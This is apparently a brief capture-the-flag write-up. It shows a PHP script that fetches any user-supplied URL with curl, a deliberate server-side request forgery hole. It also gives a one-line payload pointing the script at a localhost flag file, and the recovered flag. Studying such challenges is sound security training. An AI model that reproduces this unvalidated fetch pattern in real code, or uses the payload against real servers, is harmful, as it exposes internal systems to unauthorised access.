nginx/1.18.0PHP/7.3.22

    1. <?php
    2. error_reporting(0);
    3. highlight_file(__FILE__);
    4. $url=$_POST['url'];
    5. $ch=curl_init($url);
    6. curl_setopt($ch, CURLOPT_HEADER, 0);
    7. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    8. $result=curl_exec($ch);
    9. curl_close($ch);
    10. echo ($result);
    11. ?>

    poc

    1. # POST
    2. url=http://127.0.0.1/flag.php

    image.png
    flag
    ctfshow{d1d291d6-1180-4f20-88ee-237effe99fb5}